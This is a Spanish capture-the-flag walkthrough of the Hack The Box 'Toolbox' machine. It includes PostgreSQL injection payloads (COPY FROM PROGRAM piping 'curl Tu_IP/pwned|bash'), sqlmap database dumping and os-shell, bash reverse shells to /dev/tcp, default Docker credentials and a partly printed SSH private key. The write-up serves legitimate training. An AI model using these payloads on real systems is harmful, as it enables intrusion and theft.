Toolbox - Hack The Box
Esta fue una máquina, un poquito complicada, vamos a analizar varios servicios que tiene activo, siendo que el servicio HTTPS será la clave para resolver la máquina, pues podremos aplicar PostgreSQL Injection de dos formas, con BurpSuite y con SQLMAP para obtener una Shell de manera remota. Una vez dentro, descubrimos que estamos en una aplicación de varias, gracias a la herramienta Docker Toolbox que está usando, nos conectamos a la primera aplicación usando credenciales por defecto de esta herramienta y nos conectamos a una aplicación que copia todo el contenido de la máquina.
Herramientas utilizadas:
- ping
- nmap
- ftp
- smbclient
- crackmapexec
- openssl
- wappalizer
- wfuzz
- gobuster
- burpsuite
- postgresql
- bash
- curl
- python3
- nc
- sqlmap
- ssh
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Enumeración de Servicios FTP, SMB y Análisis de Certificado HTTPS
- Analizando Servicio HTTPS
- Fuzzing
- Probando Vulnerabilidades con BurpSuite
- Explotación de Vulnerabilidades
- Post Explotación
- Pivoting a Aplicación de Docker y Enumeración de Máquina
- Utilizando Llave Privada para Conectarnos a Windows por SSH
- Links de Investigación
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 10.10.10.236
PING 10.10.10.236 (10.10.10.236) 56(84) bytes of data.
64 bytes from 10.10.10.236: icmp_seq=1 ttl=127 time=150 ms
64 bytes from 10.10.10.236: icmp_seq=2 ttl=127 time=143 ms
64 bytes from 10.10.10.236: icmp_seq=3 ttl=127 time=143 ms
64 bytes from 10.10.10.236: icmp_seq=4 ttl=127 time=142 ms
--- 10.10.10.236 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3003ms
rtt min/avg/max/mdev = 142.246/144.532/150.337/3.358 ms
Por el TTL sabemos que la máquina usa Windows, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.236 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-19 14:34 CST
Initiating SYN Stealth Scan at 14:34
Scanning 10.10.10.236 [65535 ports]
Discovered open port 135/tcp on 10.10.10.236
Discovered open port 139/tcp on 10.10.10.236
Discovered open port 21/tcp on 10.10.10.236
Discovered open port 445/tcp on 10.10.10.236
Discovered open port 22/tcp on 10.10.10.236
Discovered open port 443/tcp on 10.10.10.236
Discovered open port 47001/tcp on 10.10.10.236
Discovered open port 49666/tcp on 10.10.10.236
Discovered open port 49667/tcp on 10.10.10.236
Discovered open port 49664/tcp on 10.10.10.236
Discovered open port 49668/tcp on 10.10.10.236
Discovered open port 5985/tcp on 10.10.10.236
Discovered open port 49669/tcp on 10.10.10.236
Completed SYN Stealth Scan at 14:35, 32.06s elapsed (65535 total ports)
Nmap scan report for 10.10.10.236
Host is up, received user-set (0.15s latency).
Scanned at 2023-05-19 14:34:45 CST for 32s
Not shown: 59419 closed tcp ports (reset), 6103 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 127
22/tcp open ssh syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
443/tcp open https syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 32.19 seconds
Raw packets sent: 158419 (6.970MB) | Rcvd: 64760 (2.590MB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Vaya, hay muchos puertos abiertos, aunque me da un poco de curiosidad como es que hay un puerto SSH activo en una máquina Windows, veamos que nos dice el escaneo de servicios.
Escaneo de Servicios
nmap -sC -sV -p21,22,135,139,443,445,5985,47001,49664,49666,49667,49668,49669 10.10.10.236 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-19 14:36 CST
Nmap scan report for 10.10.10.236
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 ftp ftp 242520560 Feb 18 2020 docker-toolbox.exe
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 5b1aa18199eaf79602192e6e97045a3f (RSA)
| 256 a24b5ac70ff399a13aca7d542876b2dd (ECDSA)
|_ 256 ea08966023e2f44f8d05b31841352339 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.38 ((Debian))
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
| Not valid before: 2020-02-18T17:45:56
|_Not valid after: 2021-02-17T17:45:56
|_http-title: MegaLogistics
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.38 (Debian)
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 1s
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-05-19T20:37:44
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.09 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Veo que el servicio FTP tiene activo el login anonymous y veo Samba también, además de una página web en el puerto 443. Primero, vamos a revisar el servicio FTP y luego la página web.
Análisis de Vulnerabilidades
Enumeración de Servicios FTP, SMB y Análisis de Certificado HTTPS
Vamos a enunerar estos servicios para ver que encontramos, aunque es posible que no encontremos nada.
Enumeración Servicio FTP
Entremos:
ftp 10.10.10.236
Connected to 10.10.10.236.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (10.10.10.236:berserkwings): anonymous
331 Password required for anonymous
Password:
230 Logged on
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Aun así, el escaneo de servicios, indica que hay un archivo llamado docker-toolbox.exe.
Puedes verlo en el FTP:
ftp> ls
229 Entering Extended Passive Mode (|||58609|)
150 Opening data channel for directory listing of "/"
-r-xr-xr-x 1 ftp ftp 242520560 Feb 18 2020 docker-toolbox.exe
226 Successfully transferred "/"
Podemos tratar de descargarlo como binario, porque si no tardara mucho en descargar y puede que con errores. Pero tardara demasiado por lo que no lo descargaremos, vamos a investigar que es eso de docker-toolbox.exe:
Docker Toolbox |
---|
Docker Toolbox proporciona una forma de utilizar Docker en sistemas Windows antiguos que no cumplen con los requisitos mínimos del sistema para la aplicación Docker para Windows. El componente principal de Docker requiere un sistema operativo Linux para poderse ejecutar. |
Entonces, por eso tiene un puerto SSH activo pues ahí esta activo el Docker Toolbox.
De momento no veo nada más.
Enumeración Servicio SMB
Veamos si podemos enumerar archivos compartidos del servicio SMB:
smbclient -L 10.10.10.236 -N
session setup failed: NT_STATUS_ACCESS_DENIED
Nada, vamos a checar si el servicio esta activo con crackmapexec:
crackmapexec smb 10.10.10.236
SMB 10.10.10.236 445 TOOLBOX [*] Windows 10.0 Build 17763 x64 (name:TOOLBOX) (domain:Toolbox) (signing:False) (SMBv1:False)
Pues no, no podremos hacer nada por ahí.
Análisis de Certificado HTTPS
En el escaneo de Nmap nos reporto que la máquina tiene activo el puerto 443 y que tiene un certificado SSL activo para admin.megalogistic.com, probemos la herramienta openssl para ver que información podemos obtener de este certificado.
Toolkit OpenSSL |
---|
OpenSSL es un “toolkit” para los protocoles Transporte Seguro de Capas (Transport Layer Security - TLS) y los enchufes seguros de capas (Secure Sockets Layer - SSL). También es una librería de propósitos generales de criptografía. Es usado para asegurar las conexiones en un servidor dentro de tu software. |
Probemosla:
openssl s_client -connect 10.10.10.236:443
CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 C = GR, ST = Some-State, O = MegaLogistic Ltd, OU = Web, CN = admin.megalogistic.com, emailAddress = admin@megalogistic.com
verify error:num=18:self-signed certificate
verify return:1
depth=0 C = GR, ST = Some-State, O = MegaLogistic Ltd, OU = Web, CN = admin.megalogistic.com, emailAddress = admin@megalogistic.com
verify error:num=10:certificate has expired
notAfter=Feb 17 17:45:56 2021 GMT
verify return:1
depth=0 C = GR, ST = Some-State, O = MegaLogistic Ltd, OU = Web, CN = admin.megalogistic.com, emailAddress = admin@megalogistic.com
notAfter=Feb 17 17:45:56 2021 GMT
verify return:1
---
Certificate chain
0 s:C = GR, ST = Some-State, O = MegaLogistic Ltd, OU = Web, CN = admin.megalogistic.com, emailAddress = admin@megalogistic.com
i:C = GR, ST = Some-State, O = MegaLogistic Ltd, OU = Web, CN = admin.megalogistic.com, emailAddress = admin@megalogistic.com
a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
v:NotBefore: Feb 18 17:45:56 2020 GMT; NotAfter: Feb 17 17:45:56 2021 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
...
...
...
...
Podemos ver dos dominios, megalogistic.com y admin.megalogistic.com. Quiero suponer que la IP nos llevara a cualquiera de las dos, así que vamos a analizar la página web.
Podemos ver que nos reporto un dominio admin.megalogistic.com, que es el mismo que nos dio Nmap, podemos entrar primero a la IP a ver que nos reporta y si no vemos nada, ya registramos el dominio en el etc/hosts.
Analizando Servicio HTTPS
Entremos.
Ok, mete la opción avanzada para poder entrar y ver la página:
Bien, veamos que nos dice el Wappalizer:
Te diría que buscaras algo útil en la página, pero de una vez te digo que no hay nada. Tratemos de entrar al dominio admin.megalogistic.com, pero si tratamos de entrar, no saldrá nada, por lo que vamos a registrar este dominio en el /etc/hosts:
nano /etc/host
10.10.10.236 admin.megalogistic.com
Ahora, vuelve a cargar la página y ya debería verse:
Bien, aparece un login, te diría que trates de adivinar la contraseña, pero no podrás.
Veamos si no hay alguna otra página aplicando Fuzzing.
Fuzzing
wfuzz -u https://10.10.10.236 -H "Host: FUZZ.megalogistic.com" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hh 22357 --hc=400,404
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://10.10.10.236/
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000245: 200 35 L 83 W 889 Ch "admin"
000006084: 200 35 L 83 W 889 Ch "Admin"
Total time: 0
Processed Requests: 138331
Filtered Requests: 138329
Requests/sec.: 0
Parámetros | Descripción |
---|---|
-c | Para ver el resultado en un formato colorido. |
–hc | Para no mostrar un código de estado en los resultados. |
-t | Para indicar la cantidad de hilos a usar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
Ahora probemos con gobuster:
gobuster dir -u https://10.10.10.236/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 30 -k --no-error
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://10.10.10.236/
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 315] [--> https://10.10.10.236/images/]
/css (Status: 301) [Size: 312] [--> https://10.10.10.236/css/]
/js (Status: 301) [Size: 311] [--> https://10.10.10.236/js/]
/fonts (Status: 301) [Size: 314] [--> https://10.10.10.236/fonts/]
/server-status (Status: 403) [Size: 278]
Progress: 220462 / 220547 (99.96%)
===============================================================
Finished
===============================================================
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
-k | Para indicar que se deshabilite la comprobación de certificados |
–no-error | Para indicar que no muestre los errores. |
No pues no encontro nada.
Probando Vulnerabilidades con BurpSuite
Vamos a probar si el login es vulnerable a SQL Injection, solamente poniendo una comilla en usuario y contraseña:
Excelente, nos enfrentamos a postgresql por las siglas pg.
Vamos a utilizar BurpSuite para analizar si se puede hacer PostgreSQL Injection.
Una vez que abras BurpSuite, captura el inicio del login con la comilla simple, debería verse así:
Ahora, mandalo al Repeater con ctrl + r:
Si investigamos vulnerabilidades en Postgresql, encontramos que Hacktricks tiene algunas formas de ver si se pueden inyectar comandos:
Entonces probemos primero, si es posible la inyección, vamos a mandar una petición que dure 10 segundos en devolver un resultado:
; select pg_sleep(10);-- -
Esto lo vas a poner aún lado del dato username, lanza la petición y debería tardar 10 segundos, si esto pasa, podemos inyectar comandos y si no, tendremos que hacerlo de otra forma:
Si funciona, utilizaremos esta vulnerabilidad para conectarnos al usuario de manera remota.
Explotación de Vulnerabilidades
Existen dos formas de ganar acceso a la máquina de manera remota como usuario, la primera utilizando BurpSuite y la segunda utilizando SQLMAP, vamos a hacerlo de ambas formas.
Conectandonos de Manera Remota con BurpSuite
De acuerdo con Hacktricks, hay una forma de conectarnos de manera remota a la máquina, creando una tabla que va a ejecutar una shell.
Hagámoslo por pasos:
- Crearemos primero la tabla que creara la shell para conectarnos de la misma forma en la que hicimos la petición anterior, utilizando el siguiente código:
CREATE TABLE cmd_exec(cmd_output text);
Bien, ahora en vez de URL encodearla, elimina los espacios y pon en su lugar el signo +, cuando mandes la petición, no debería mostrar ningún error, en caso de que diga que la tabla existe, usa el código de Hacktricks para eliminar esa tabla:
Analizando un poco, sabemos que la máquina está usando Windows y Linux a la vez utilizando un Docker, lo que podemos hacer es conectarnos usando un archivo en Bash que llame a una cmd de la máquina víctima hacia la nuestra a traves de la petición que hacemos en BurpSuite, que recordemos, puede ejecutar comandos.
- Crea un archivo que tenga una Reverse Shell en Bash:
nano pwned #!/bin/bash bash -i >& /dev/tcp/Tu_IP/443 0>&1
- Abre un servidor en Python en donde tengas este archivo:
python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
- En BurpSuite, usaremos curl para abrir ese archivo y ejecutarlo con Bash, utiliza el código que proporciona Hacktricks:
COPY cmd_exec FROM PROGRAM 'id';
- Elimina id y pon la siguiente línea:
'curl+Tu_IP/pwned|bash'
Y debería verse así:
- Abre una netcat:
nc -nvlp 443 listening on [any] 443 ...
- Manda la petición y observa la netcat:
nc -nvlp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [10.10.10.236] 50059
bash: cannot set terminal process group (4101): Inappropriate ioctl for device
bash: no job control in this shell
postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ whoami
whoami
postgres
Excelente, puedes obtener una shell interactiva, pero debo advertirte que conectarte a la máquina víctima de esta forma es algo inestable y puede desconectarse, por lo que yo recomiendo la segunda forma por ser más estable.
Conectandonos de Manera Remota con SQLMAP
Para utilizar SQLMAP, necesitamos la petición web que podemos copiar de BurpSuite, así que vamos a usar la primera petición, pero vas a cambiar la comilla simple por admin porque si no la petición por SQLMAP fallara:
POST / HTTP/1.1
Host: admin.megalogistic.com
Cookie: PHPSESSID=4721807843bbe54fe5b1d3dde0f6855d
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: https://admin.megalogistic.com
Referer: https://admin.megalogistic.com/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
username=admin&password=admin
Ahora, usa este archivo con SQLMAP para ver si podemos obtener información de las bases de datos de la página web:
sqlmap -r request.txt --dbs --force-ssl --batch
__H__
___ ___[)]_____ ___ ___ {1.7.2#stable}
|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:56:36 /2023-05-19/
[20:56:36] [INFO] parsing HTTP request from 'request.txt'
[20:56:36] [INFO] testing connection to the target URL
[20:56:37] [INFO] checking if the target is protected by some kind of WAF/IPS
...
...
...
[20:58:13] [INFO] fetching database (schema) names
[20:58:14] [INFO] retrieved: 'public'
[20:58:15] [INFO] retrieved: 'pg_catalog'
[20:58:15] [INFO] retrieved: 'information_schema'
available databases [3]:
[*] information_schema
[*] pg_catalog
[*] public
[20:59:00] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/admin.megalogistic.com'
[*] ending @ 20:59:00 /2023-05-19/
Hay 3 bases de datos, para que no pierdas tiempo, vamos a ver la base de datos public y verás algo interesante en su contenido:
sqlmap -r request.txt --dbs --force-ssl --batch -D public --dump-all
__H__
___ ___[.]_____ ___ ___ {1.7.2#stable}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:00:48 /2023-05-19/
...
...
...
[21:02:28] [WARNING] no clear password(s) found
Database: public
Table: users
[1 entry]
+----------------------------------+----------+
| password | username |
+----------------------------------+----------+
| 4a100a85cb5ca3616dcf137918550815 | admin |
+----------------------------------+----------+
Tenemos un usuario y contraseña, agrega esas credenciales en sus respectivos parámetros del la petición que guardaste y con SQLMAP, vamos a obtener una shell temporal para ver si podemos ejecutar comandos:
sqlmap -r request.txt --force-ssl --batch --os-shell
__H__
___ ___[']_____ ___ ___ {1.7.2#stable}
|_ -| . [.] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:04:38 /2023-05-19/
...
...
...
[21:04:47] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] Y
[21:05:02] [INFO] retrieved: 'postgres'
command standard output: 'postgres'
os-shell>
Excelente, podemos usar comandos, ya solo conéctate de manera remota con el mismo código de la Reverse Shell, obviamente, abre una netcat:
[21:05:02] [INFO] retrieved: 'postgres'
command standard output: 'postgres'
os-shell> bash -c 'bash -i >& /dev/tcp/Tu_IP/443 0>&1'
do you want to retrieve the command standard output? [Y/n/a] Y
Mira la netcat:
nc -nvlp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [10.10.10.236] 50373
bash: cannot set terminal process group (4639): Inappropriate ioctl for device
bash: no job control in this shell
postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ whoami
whoami
postgres
Obtén una shell interactiva con Python o Bash.
La flag del usuario, está en el directorio postgres:
ostgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ cd ~
postgres@bc56e3cc55e9:/var/lib/postgresql$ ls
11 user.txt
postgres@bc56e3cc55e9:/var/lib/postgresql$ cat user.txt
...
Post Explotación
Pivoting a Aplicación de Docker y Enumeración de Máquina
Enumerando un poco la máquina, no encontraremos mucho que podamos hacer. Si usamos el comando ifconfig veremos algo muy interesante:
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:ac:11:00:02 txqueuelen 0 (Ethernet)
RX packets 4301 bytes 427290 (417.2 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3759 bytes 3537678 (3.3 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 8202 bytes 3090994 (2.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8202 bytes 3090994 (2.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Observa la IP, debería terminar en 1, pero no es así. Si recordamos la herramienta que están usando es Docker-toolbox.exe, por lo que pueden tener varias aplicaciones web abiertas y si investigamos más sobre esta herramienta, encontraremos que tiene contraseñas por defecto:
Ahí nos dicen que tiene las siguientes credenciales:
- user: docker
- passwd: tcuser
Vamos a usar estas credenciales para loguearnos al servicio SSH desde donde estamos:
postgres@bc56e3cc55e9:/home/tony$ ssh docker@172.17.0.1
docker@172.17.0.1's password:
( '>')
/) TC (\ Core is distributed with ABSOLUTELY NO WARRANTY.
(/-_--_-\) www.tinycorelinux.net
docker@box:~$ whoami
docker
Muy bien, si usamos el comando ifconfig, verás la diferencia de la aplicación en la que estamos:
docker@box:~$ ifconfig
docker0 Link encap:Ethernet HWaddr 02:42:EB:C9:47:65
inet addr:172.17.0.1 Bcast:172.17.255.255 Mask:255.255.0.0
inet6 addr: fe80::42:ebff:fec9:4765/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:3953 errors:0 dropped:0 overruns:0 frame:0
TX packets:4513 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:3500230 (3.3 MiB) TX bytes:445705 (435.2 KiB)
...
...
...
...
Puedes verificar tus privilegios y verás que podemos usar cualquier comando de Root:
docker@box:~$ sudo -l
User docker may run the following commands on this host:
(root) NOPASSWD: ALL
Entonces, quiero pensar que ya somos Root o estamos en la máquina principal de Windows, no lo sé, hay que enumerar un poco a ver que encontramos.
Enumerando la raíz, encontramos un directorio curioso, llamado c:
docker@box:~$ cd /
cd /
docker@box:/$ ls
ls
bin home linuxrc root sys
c init mnt run tmp
dev lib opt sbin usr
etc lib64 proc squashfs.tgz var
docker@box:/$ cd c
cd c
docker@box:/c$ ls
ls
Users
docker@box:/c/Users$ ls
ls
Administrator Default Public desktop.ini
All Users Default User Tony
Hay un directorio llamado Administrator, veamos que contiene:
docker@box:/c/Users$ cd Administrator
cd Administrator
docker@box:/c/Users/Administrator$ ls -la
ls -la
total 1433
drwxrwxrwx 1 docker staff 8192 Feb 8 2021 .
dr-xr-xr-x 1 docker staff 4096 Feb 19 2020 ..
drwxrwxrwx 1 docker staff 4096 May 19 20:29 .VirtualBox
drwxrwxrwx 1 docker staff 0 Feb 18 2020 .docker
drwxrwxrwx 1 docker staff 0 Feb 19 2020 .ssh
dr-xr-xr-x 1 docker staff 0 Feb 18 2020 3D Objects
drwxrwxrwx 1 docker staff 0 Feb 18 2020 AppData
drwxrwxrwx 1 docker staff 0 Feb 19 2020 Application Data
dr-xr-xr-x 1 docker staff 0 Feb 18 2020 Contacts
drwxrwxrwx 1 docker staff 0 Sep 15 2018 Cookies
dr-xr-xr-x 1 docker staff 0 Feb 8 2021 Desktop
dr-xr-xr-x 1 docker staff 4096 Feb 19 2020 Documents
dr-xr-xr-x 1 docker staff 0 Apr 5 2021 Downloads
dr-xr-xr-x 1 docker staff 0 Feb 18 2020 Favorites
dr-xr-xr-x 1 docker staff 0 Feb 18 2020 Link
Ok, veamos el directorio Desktop:
docker@box:/c/Users/Administrator/Desktop$ ls
ls
desktop.ini root.txt
docker@box:/c/Users/Administrator/Desktop$ cat root.txt
cat root.txt
...
a…entonces, esto es lo mismo que la máquina Windows, es una montura de sus archivos por así decirlo. Es posible que podamos conectarnos a Windows utilizando la llave privada SSH.
Utilizando Llave Privada para Conectarnos a Windows por SSH
Vamos a copiar la llave privada del directorio oculto .ssh:
docker@box:/c/Users/Administrator$ cd .ssh
cd .ssh
docker@box:/c/Users/Administrator/.ssh$ ls -la
ls -la
total 18
drwxrwxrwx 1 docker staff 4096 Feb 19 2020 .
drwxrwxrwx 1 docker staff 8192 Feb 8 2021 ..
-rwxrwxrwx 1 docker staff 404 Feb 19 2020 authorized_keys
-rwxrwxrwx 1 docker staff 1675 Feb 19 2020 id_rsa
-rwxrwxrwx 1 docker staff 404 Feb 19 2020 id_rsa.pub
-rwxrwxrwx 1 docker staff 348 Feb 19 2020 known_hosts
docker@box:/c/Users/Administrator/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvo4SLlg/dkStA4jDUNxgF8kbNAF+6IYLNOOCeppfjz6RSOQv
Md08abGynhKMzsiiVCeJoj9L8GfSXGZIfsAIWXn9nyNaDdApoF7Mfm1KItgO+W9m
M7lArs4zgBzMGQleIskQvWTcKrQNdCDj9JxNIbhYLhJXgro+u5dW6EcYzq2MSORm
7A+eXfmPvdr4hE0wNUIwx2oOPr2duBfmxuhL8mZQWu5U1+Ipe2Nv4fAUYhKGTWHj
...
...
...
...
Copia la llave privada en un archivo en tu máquina y dale cambia sus permisos o si no no funcionará:
nano id_rsa
chmod 600 id_rsa
Ya por último, conéctate desde tu máquina, usando esa llave por el servicio SSH:
ssh -i id_rsa Administrator@10.10.10.236
The authenticity of host '10.10.10.236 (10.10.10.236)' can't be established.
ED25519 key fingerprint is SHA256:KJAib23keV2B8xvFaxg7e79uztryW+LYX+Wb2qA9u4k.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.236' (ED25519) to the list of known hosts.
Microsoft Windows [Version 10.0.17763.1039]
(c) 2018 Microsoft Corporation. All rights reserved.
administrator@TOOLBOX C:\Users\Administrator>whoami
toolbox\administrator
Excelente, la flag estará en el mismo lugar en donde la encontramos en el Docker:
administrator@TOOLBOX C:\Users\Administrator>cd Desktop
administrator@TOOLBOX C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 64F8-B588
Directory of C:\Users\Administrator\Desktop
02/08/2021 11:39 AM <DIR> .
02/08/2021 11:39 AM <DIR> ..
02/08/2021 11:39 AM 35 root.txt
1 File(s) 35 bytes
2 Dir(s) 5,484,789,760 bytes free
administrator@TOOLBOX C:\Users\Administrator\Desktop>type root.txt
Listo, ya terminamos esta máquina.
Links de Investigación
- https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection
- https://book.hacktricks.xyz/network-services-pentesting/pentesting-postgresql
- https://stackoverflow.com/questions/32646952/docker-machine-boot2docker-root-password
- https://help.dreamhost.com/hc/es/articles/360001435926-Instalar-OpenSSL-localmente-dentro-de-tu-usuario